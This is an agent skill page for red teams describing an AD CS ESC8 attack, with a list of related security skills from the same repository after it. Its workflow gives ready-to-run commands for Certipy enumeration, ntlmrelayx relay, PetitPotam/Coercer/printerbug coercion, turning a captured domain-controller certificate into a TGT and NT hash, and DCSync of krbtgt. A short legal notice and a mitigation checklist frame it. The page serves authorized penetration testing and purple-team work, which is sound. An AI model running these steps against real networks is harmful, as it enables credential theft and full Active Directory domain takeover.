AGENT SKILL

AD CS ESC8 NTLM 中继利用

relaying-ntlm-for-adcs-esc8

使用 Impacket 的 ntlmrelayx.py 配合强制认证工具(PetitPotam、Coercer、printerbug),将来自被强制的域控制器的 NTLM 认证中继到 AD CS 的 HTTP 网页注册端点(ESC8),获取可经 Certipy 用于 PKINIT/DCSync 的域控制器证书。适用于内部 AD 渗透测试或紫队演练中,当 AD CS Web Enrollment(网页注册)缺少扩展身份验证保护(Extended Protection for Authentication)时。

License 许可
Apache-2.0
最近更新
2026-08-31
Stars
★ 3.6w
Forks
4.4k

01 前言 Front Matter

name
relaying-ntlm-for-adcs-esc8
tags
[ "red-team", "ntlm-relay", "adcs", "esc8", "impacket", "certipy", "active-directory", "privilege-escalation" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
nist_csf
[ "DE.CM-01" ]
subdomain
red-teaming
description
Uses Impacket's ntlmrelayx.py with a coercion tool (PetitPotam, Coercer, printerbug) to relay NTLM authentication from a coerced domain controller into the AD CS HTTP web-enrollment endpoint (ESC8), obtaining a DC certificate usable via Certipy for PKINIT/DCSync. Use during internal AD penetration tests or purple-team exercises when AD CS Web Enrollment lacks Extended Protection for Authentication.
mitre_attack
[ "T1557.001" ]

02 资源文件 4

03 SKILL.md 正文

Relaying NTLM for ADCS ESC8

Legal Notice: This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Coercing authentication and relaying credentials against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement; ESC8 coercion can affect production domain controllers.

Overview

ESC8 is one of the Active Directory Certificate Services (AD CS) escalation paths catalogued by SpecterOps in "Certified Pre-Owned." It abuses the AD CS HTTP web-enrollment endpoint (/certsrv/), which by default supports NTLM authentication and, critically, does not enforce HTTPS channel binding or Extended Protection for Authentication (EPA). Because NTLM over HTTP on that endpoint is unprotected, an attacker can coerce a privileged machine account (typically a domain controller) into authenticating to an attacker-controlled host, then relay that NTLM authentication to the CA's web-enrollment page and request a certificate as the coerced machine.

When the relayed victim is a domain controller, the attacker obtains a certificate for the DC's machine account (DC01$). That certificate can then be used for Kerberos PKINIT to request a TGT as the DC, recover the DC's NT hash, and ultimately perform DCSync — a full domain compromise. This maps to MITRE ATT&CK T1557.001 (Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay), extended here to NTLM relay against an HTTP enrollment service.

The standard toolchain is Impacket's ntlmrelayx.py (the relay engine, with --adcs mode), a coercion tool (PetitPotam, Coercer, printerbug.py/dementor), and Certipy for enumeration and for turning the captured certificate into a TGT / NT hash.

When to Use

  • During an internal AD penetration test where AD CS with the HTTP Web Enrollment role is present and EPA is not enforced.
  • When you have a foothold (even an unauthenticated network position with a coercion vector) and want a path to Domain Admin via certificate impersonation.
  • When validating that the organization has mitigated ESC8 (EPA enabled, HTTP enrollment disabled, RPC/EFSRPC coercion patched).
  • During purple-team exercises to test detection of coercion + relay + anomalous certificate enrollment.

Prerequisites

  • A network position that can reach the CA web-enrollment endpoint and a coercion vector to the target DC.
  • The CA hostname and an enrollable template that yields client-auth EKU (e.g., DomainController, Machine).
  • Tooling (install from official upstreams):
# Impacket (provides ntlmrelayx.py / impacket-ntlmrelayx)
pipx install impacket

# Certipy (AD CS enumeration + abuse)
pipx install certipy-ad

# Coercion tools
git clone https://github.com/topotam/PetitPotam.git
pipx install coercer            # https://github.com/p0dalirius/Coercer
# printerbug.py ships with Impacket examples (MS-RPRN)

Objectives

  • Enumerate AD CS to confirm an ESC8-vulnerable web-enrollment endpoint.
  • Stand up ntlmrelayx in --adcs mode targeting the CA enrollment URL.
  • Coerce a domain controller to authenticate to the relay (PetitPotam/Coercer/printerbug).
  • Capture the base64 certificate issued for the DC machine account.
  • Use Certipy to convert the certificate into a TGT and recover the DC NT hash.
  • Validate domain compromise (DCSync) and document mitigations.

MITRE ATT&CK Mapping

Technique ID Name Tactic Relevance
T1557.001 Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay Credential Access / Collection The core ESC8 primitive relays coerced NTLM authentication to the AD CS HTTP endpoint.
T1187 Forced Authentication Credential Access PetitPotam/printerbug coerce the DC to authenticate to the attacker.
T1649 Steal or Forge Authentication Certificates Credential Access The attack yields a certificate for the DC machine account used for PKINIT.
T1003.006 OS Credential Dumping: DCSync Credential Access The recovered DC identity enables DCSync for full domain compromise.

Workflow

1. Enumerate AD CS for ESC8

Use Certipy to find enabled, vulnerable templates and confirm a web-enrollment endpoint:

certipy find -u attacker@corp.local -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout

Look for ESC8 in the output and note the CA's web-enrollment URL (e.g., http://ca01.corp.local/certsrv/certfnsh.asp).

2. Start the NTLM relay in ADCS mode

Point ntlmrelayx at the CA's web-enrollment endpoint and request a DomainController template certificate. --adcs enables AD CS relay; -smb2support accepts SMB2 coerced auth:

impacket-ntlmrelayx \
  -t http://ca01.corp.local/certsrv/certfnsh.asp \
  -smb2support \
  --adcs \
  --template DomainController

For relaying a member server/workstation instead of a DC, use --template Machine (or User for a user account).

3. Coerce the domain controller to authenticate

Trigger the DC to authenticate to the relay listener using a coercion primitive.

PetitPotam (MS-EFSRPC):

# python3 PetitPotam.py <listener/attacker IP> <target DC IP>
python3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10

Coercer (multi-protocol coercion):

coercer coerce -u attacker -p 'Password123!' -d corp.local -l 10.0.0.50 -t 10.0.0.10

printerbug.py (MS-RPRN, ships with Impacket):

python3 printerbug.py corp.local/attacker:'Password123!'@10.0.0.10 10.0.0.50

4. Capture the issued certificate

When the coerced DC authenticates, ntlmrelayx relays it to the CA and prints output similar to:

[*] Authenticating against http://ca01.corp.local as CORP/DC01$ SUCCEED
[*] GOT CERTIFICATE! ID 1337
[*] Base64 certificate of user DC01$:
MIIRXAIBAzCC...<snip>...

Save the base64 PKCS#12 blob to a .pfx file (decode it; the cert has no export password by default):

echo 'MIIRXAIBAzCC...<snip>...' | base64 -d > dc01.pfx

5. Convert the certificate to a TGT and NT hash

Use Certipy to authenticate with the certificate via PKINIT, obtaining a Kerberos TGT and the DC machine-account NT hash:

certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10

Certipy outputs a .ccache TGT and the NT hash, e.g. [*] Got hash for 'dc01$@corp.local': aad3b435...:<NTHASH>.

6. Leverage the DC identity (DCSync)

With the DC machine account's hash/TGT, perform DCSync to extract domain credentials (e.g., krbtgt, Domain Admins) using the recovered TGT:

# Use the ccache TGT, then DCSync via secretsdump
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass corp.local/'DC01$'@dc01.corp.local -just-dc-user krbtgt

7. Validate mitigations (defensive checklist)

Confirm the environment is hardened against ESC8 after testing:

  • Enable Extended Protection for Authentication (EPA) on the AD CS web-enrollment IIS site and require HTTPS.
  • Disable NTLM on the CA enrollment endpoint; prefer the enrollment proxy with EPA.
  • Remove unused HTTP Web Enrollment role services where possible.
  • Patch coercion vectors (MS-EFSRPC/PetitPotam, MS-RPRN/printerbug) and restrict RPC.
  • Monitor for forced authentication and anomalous machine-account certificate enrollment.

Tools and Resources

Tool Purpose Link
Impacket ntlmrelayx NTLM relay engine with --adcs mode https://github.com/fortra/impacket
Certipy AD CS enumeration and certificate abuse https://github.com/ly4k/Certipy
PetitPotam MS-EFSRPC coercion https://github.com/topotam/PetitPotam
Coercer Multi-protocol coercion https://github.com/p0dalirius/Coercer
Certified Pre-Owned (SpecterOps) Original AD CS abuse research https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
SpecterOps CoerceAndRelayNTLMToADCS ESC8 edge reference https://bloodhound.specterops.io/resources/edges/coerce-and-relay-ntlm-to-adcs

Validation Criteria

  • [ ] AD CS enumerated and an ESC8-vulnerable web-enrollment endpoint confirmed with certipy find -vulnerable.
  • [ ] ntlmrelayx --adcs --template DomainController listener running against the CA URL.
  • [ ] Coercion (PetitPotam/Coercer/printerbug) triggered against the target DC.
  • [ ] Base64 certificate for the DC machine account captured and saved as .pfx.
  • [ ] Certificate converted to a TGT and NT hash with certipy auth.
  • [ ] Domain compromise validated via DCSync (in scope only).
  • [ ] EPA/HTTPS and coercion-patch mitigations verified and documented.

04 同仓库更多 Skills

mukul975
mukul975/Anthropic-Cybersecurity-Skills

SLSA 构建来源验证

verifying-build-provenance-with-slsa-sigstore

使用 Sigstore 的 cosign(verify、verify-attestation、verify-blob-attestation)和 slsa-verifier(verify-artifact)验证工件签名和 SLSA 来源(provenance),强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI/CD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道,或在事件响应或准入控制期间确认来源的场景。

安全工程师软件供应链安全
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

TPM 测量启动验证

validating-tpm-measured-boot-attestation

使用 tpm2-tools 验证 TPM 2.0 测量启动(measured boot)的完整性和远程证明:读取 PCR(tpm2_pcrread)、重放启动事件日志、生成并检查签名报价(tpm2_quote/tpm2_checkquote),以及将机密封印(seal)到 PCR 策略。适用于确认系统已启动可信固件/内核以实现零信任(Zero Trust)设备状态、通过 PCR 漂移检测启动链篡改,或构建黄金值基线用于机群(fleet)证明。

安全工程师终端安全加固
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

备份完整性验证

validating-backup-integrity-for-recovery

通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性,确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求,或检查不可变/air-gapped(气隙)备份是否存在静默损坏或篡改的场景。

SRE 工程师备份与灾难恢复
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

KAPE Windows 取证收集

triaging-windows-with-kape

运行 KAPE(Kroll Artifact Parser and Extractor),通过 Targets 收集目标取证工件(注册表配置单元、$MFT、事件日志、prefetch、浏览器数据),并使用封装 Eric Zimmerman 的 EZ Tools(PECmd、MFTECmd、RECmd)的 Modules 进行解析。适用于事件遏制/分诊早期阶段——此时完整磁盘镜像不切实际,但需要快速获得可采信、可解析的 Windows 工件集,包括大规模远程收集。

安全工程师数字取证与电子证据分析
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

SSVC 漏洞优先级分诊

triaging-vulnerabilities-with-ssvc-framework

使用 CISA 的 Stakeholder-Specific Vulnerability Categorization(SSVC,利益相关方特定漏洞分类)决策树对漏洞进行分诊和优先级排序,权衡利用状态(通过 CISA KEV 目录和 FIRST EPSS API)、技术影响、自动化程度和任务普遍性,输出 Track/Track*/Attend/Act 决策。适用于对漏洞扫描结果(OpenVAS、Nessus、Qualys)进行优先级排序以制定修复计划,而不局限于原始 CVSS 分数的场景。

安全工程师安全公告与漏洞管理
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

安全事件初步分诊

triaging-security-incident

使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊,分类事件类型、按业务影响分配优先级,并路由到相应的响应团队。适用于 SIEM/EDR 告警需要人工分类、并发告警必须确定优先级,或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。

安全工程师安全事件响应与威胁狩猎
★ 3.6w